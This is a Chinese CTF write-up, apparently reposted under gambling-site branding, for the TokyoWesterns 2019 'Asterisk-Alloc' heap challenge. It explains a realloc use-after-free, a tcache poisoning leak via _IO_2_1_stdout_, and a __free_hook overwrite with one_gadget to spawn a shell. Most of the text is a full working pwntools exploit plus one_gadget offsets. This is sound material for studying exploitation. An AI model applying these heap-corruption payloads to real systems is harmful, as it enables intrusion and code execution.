万达娱乐TokyoWesterns CTF 2019 Asterisk-Alloc题解_HUC惠仲娱乐

万达娱乐

0x01 前言

前几天的TokyoWesterns CTF 2019里遇到一道realloc利用的pwn题,比较有意思,这里分享一下解题思路。

题目下载:
链接:https://pan.baidu.com/s/18GQV--52KzWau2AYN99xIA 密码:hbmc

0x02 分析

保护全开

[*] '/pwn/asterisk_alloc'     Arch:     amd64-64-little     RELRO:    Full RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      PIE enabled 

2.27的libc,引入了tcache机制

看到伪代码,提供了malloccallocreallcfree调用

int __cdecl main(int argc, const char **argv, const char **envp) {   int v3; // [rsp+4h] [rbp-Ch]   unsigned __int64 v4; // [rsp+8h] [rbp-8h]    v4 = __readfsqword(0x28u);   initialize();   while ( 1 )   {     print_menu(*(_QWORD *)&argc, argv);     printf("Your choice: ");     argv = (const char **)&v3;     *(_QWORD *)&argc = "%d";     __isoc99_scanf("%d", &v3);     getchar();     switch ( (unsigned int)off_F28 )     {       case 1u:         call_malloc();         break;       case 2u:         call_calloc();         break;       case 3u:         call_realloc();         break;       case 4u:         call_free();         break;       case 5u:         _exit(0);         return;       default:         *(_QWORD *)&argc = "Invalid choice";         puts("Invalid choice");         break;     }   } }

reallc这个调用比较有意思,依据传入参数不同,能实现以下4类功能

  1. realloc(0) --> free 清空指针
  2. realloc(new_size < old_size) --> edit
  3. realloc(old_size < new_size) --> extend
  4. realloc(new_size) --> add

malloccallocreallc调用后返回地址分别存放到不同指针

.bss:0000000000202029                 align 10h .bss:0000000000202030                 public ptr_r .bss:0000000000202030 ; void *ptr_r .bss:0000000000202030 ptr_r           dq ?                    ; DATA XREF: call_realloc+4C↑r .bss:0000000000202030                                         ; call_realloc+5E↑w ... .bss:0000000000202038                 public ptr_m .bss:0000000000202038 ; void *ptr_m .bss:0000000000202038 ptr_m           dq ?                    ; DATA XREF: call_malloc+17↑r .bss:0000000000202038                                         ; call_malloc+6E↑w ... .bss:0000000000202040                 public ptr_c .bss:0000000000202040 ; void *ptr_c .bss:0000000000202040 ptr_c           dq ?                    ; DATA XREF: call_calloc+17↑r .bss:0000000000202040                                         ; call_calloc+62↑w ...

free函数,依据传入参数分别free掉malloccallocreallc申请的堆块,没清空指针,存在UAF

unsigned __int64 call_free() {   char v1; // [rsp+7h] [rbp-9h]   unsigned __int64 v2; // [rsp+8h] [rbp-8h]    v2 = __readfsqword(0x28u);   printf("Which: ");   __isoc99_scanf("%c", &v1);   getchar();   switch ( v1 )   {     case 'm':       free(ptr_m);       break;     case 'c':       free(ptr_c);       break;     case 'r':       free(ptr_r);       break;     default:       puts("Invalid choice");       break;   }   return __readfsqword(0x28u) ^ v2; }

0x03 Leak libc

为了绕过tcache,需要delete 7次 chunk2,realloc(0)之后chunk2进入unsorted bin

chunk1 size 0x70  chunk2 size 0x100  chunk3 size 0xe0

此时,chunk2的fd、bk指向main_arena

Tcachebins[idx=15, size=0x100] --> chunk2 --> main_arena

将chunk2的fd低16位改到_IO_2_1_stdout_,由于能确定低12位,有1/16的概率成功

.data:00000000003EC756                 db    0     .data:00000000003EC757                 db    0     .data:00000000003EC758                 dq offset _IO_file_jumps     .data:00000000003EC760                 public _IO_2_1_stdout_     .data:00000000003EC760 _IO_2_1_stdout_ db  84h                 ; DATA XREF: LOAD:0000000000008D18↑o     .data:00000000003EC760                                         ; .data:00000000003EC6E8↑o ...     .data:00000000003EC761                 db  20h     .data:00000000003EC762                 db 0ADh     .data:00000000003EC763                 db 0FBh

还需要绕过几个check

这样就leak出libc地址

0x04 get shell~

后面就是改free_hook到one_gadget拿shell的常规做法了,完整的EXP:

#! /usr/bin/env python # -*- coding: utf-8 -*-  from pwn import * import os, sys  # Setting at first DEBUG = 3 LIBCV = 2.19 context.arch = "amd64"  context.log_level = "debug" elf = ELF("./asterisk_alloc",checksec=False)  # synonyms for faster typing tube.s = tube.send tube.sl = tube.sendline tube.sa = tube.sendafter tube.sla = tube.sendlineafter tube.r = tube.recv tube.ru = tube.recvuntil tube.rl = tube.recvline tube.ra = tube.recvall tube.rr = tube.recvregex tube.irt = tube.interactive  if DEBUG == 1:     if context.arch == "i386":         libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False)     elif context.arch == "amd64":         libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)     s = process("./asterisk_alloc") elif DEBUG == 2:     if context.arch == "i386":         libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False)         os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 asterisk_alloc")         os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 asterisk_alloc")     elif context.arch == "amd64":         libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False)         os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 asterisk_alloc")         os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 asterisk_alloc")     s = process("./asterisk_alloc") elif DEBUG == 3:     libc = ELF("./libc-cd7c1a035d24122798d97a47a10f6e2b71d58710aecfd392375f1aa9bdde164d.so.6",checksec=False)     ip = "ast-alloc.chal.ctf.westerns.tokyo"      port = 10001     s = remote(ip,port)  def clean():     s.close()      if DEBUG == 2:         if context.arch == "i386":             os.system("patchelf --set-interpreter /lib/ld-linux.so.2 asterisk_alloc")             os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 asterisk_alloc")         if context.arch == "amd64":             os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 asterisk_alloc")             os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 asterisk_alloc")  def menu(x):     s.sla("choice: ", str(x))  ''' realloc(0) --> free 清空指针 realloc(new_size < old_size) --> edit realloc(old_size < new_size) --> extend realloc(new_size) --> new ''' # x: # 1. malloc # 2. calloc # 3. realloc def add(x, size, data):     menu(x)     s.sla("Size: ", str(size))     s.sa("Data: ", data)  # x: # 'm'. malloc # 'c'. calloc # 'r'. realloc def delete(x):     menu(4)     s.sla("Which: ", x)  def pwn():     add(3, 0x70, 'AAAA')     add(3, 0, '')     add(3, 0x100, 'BBBB')     add(3, 0, '')     add(3, 0xe0, 'CCCC')     add(3, 0, '')     add(3, 0x100, 'FFFF')      for i in range(7):         delete('r')      add(3, 0, '')      add(3, 0x70, 'AAAA')     add(3, 0x180, chr(0) * 0x78 + p64(0x41) + '\x60\x57')     #zx(0xBFB)     add(3, 0, '')      add(3, 0x100, 'AAAA')     add(3 , 0, '')      add(1, 0x100, p64(0xfbad1887) + p64(0) * 3 + "\0")      s.ru(p64(0xffffffffffffffff))     s.r(8)     libc.address = u64(s.r(6) + "\0\0") - 0x3eb780     free_hook = libc.sym["__free_hook"]     one_shot = libc.address + 0x4f322     info("libc.address 0x%x", libc.address)     info("free_hook 0x%x", free_hook)     info("one_shot 0x%x", one_shot)      add(3, 0x180, chr(0) * 0x78 + p64(0x111) + p64(free_hook))     add(3, 0, '')     add(3, 0x30, 'DDDD')     add(3, 0, '')     add(3, 0x30, p64(one_shot))      delete('r')      s.irt()     #s.clear()     # TWCTF{malloc_&_realloc_&_calloc_with_tcache}      '''     #main_arena改到_IO_2_1_stdout_      .data:00000000003EC756                 db    0     .data:00000000003EC757                 db    0     .data:00000000003EC758                 dq offset _IO_file_jumps     .data:00000000003EC760                 public _IO_2_1_stdout_     .data:00000000003EC760 _IO_2_1_stdout_ db  84h                 ; DATA XREF: LOAD:0000000000008D18↑o     .data:00000000003EC760                                         ; .data:00000000003EC6E8↑o ...     .data:00000000003EC761                 db  20h     .data:00000000003EC762                 db 0ADh     .data:00000000003EC763                 db 0FBh      #_IO_FILE     /* Extra data for wide character streams.  */     struct _IO_wide_data     {     wchar_t *_IO_read_ptr;        /* Current read pointer */     wchar_t *_IO_read_end;        /* End of get area. */     wchar_t *_IO_read_base;        /* Start of putback+get area. */     wchar_t *_IO_write_base;        /* Start of put area. */     wchar_t *_IO_write_ptr;        /* Current put pointer. */     wchar_t *_IO_write_end;        /* End of put area. */     wchar_t *_IO_buf_base;        /* Start of reserve area. */     wchar_t *_IO_buf_end;                /* End of reserve area. */     /* The following fields are used to support backing up and undo. */     wchar_t *_IO_save_base;        /* Pointer to start of non-current get area. */     wchar_t *_IO_backup_base;        /* Pointer to first valid character of                                     backup area */     wchar_t *_IO_save_end;        /* Pointer to end of non-current get area. */     __mbstate_t _IO_state;     __mbstate_t _IO_last_state;     struct _IO_codecvt _codecvt;     wchar_t _shortbuf[1];     const struct _IO_jump_t *_wide_vtable;     };      #__free_hook改one_gadget     .bss:00000000003ED8E6                 db    ? ;     .bss:00000000003ED8E7                 db    ? ;     .bss:00000000003ED8E8                 public __free_hook ; weak     .bss:00000000003ED8E8 __free_hook     db    ? ;               ; DATA XREF: LOAD:00000000000053A0↑o     .bss:00000000003ED8E8                                         ; .got:__free_hook_ptr↑o     .bss:00000000003ED8E9                 db    ? ;     .bss:00000000003ED8EA                 db    ? ;     .bss:00000000003ED8EB                 db    ? ;      #one_gadget     0x4f2c5 execve("/bin/sh", rsp+0x40, environ)     constraints:     rcx == NULL      0x4f322 execve("/bin/sh", rsp+0x40, environ)     constraints:     [rsp+0x40] == NULL      0x10a38c    execve("/bin/sh", rsp+0x70, environ)     constraints:     [rsp+0x70] == NULL     '''  if __name__ == "__main__":     pwn()

pwn~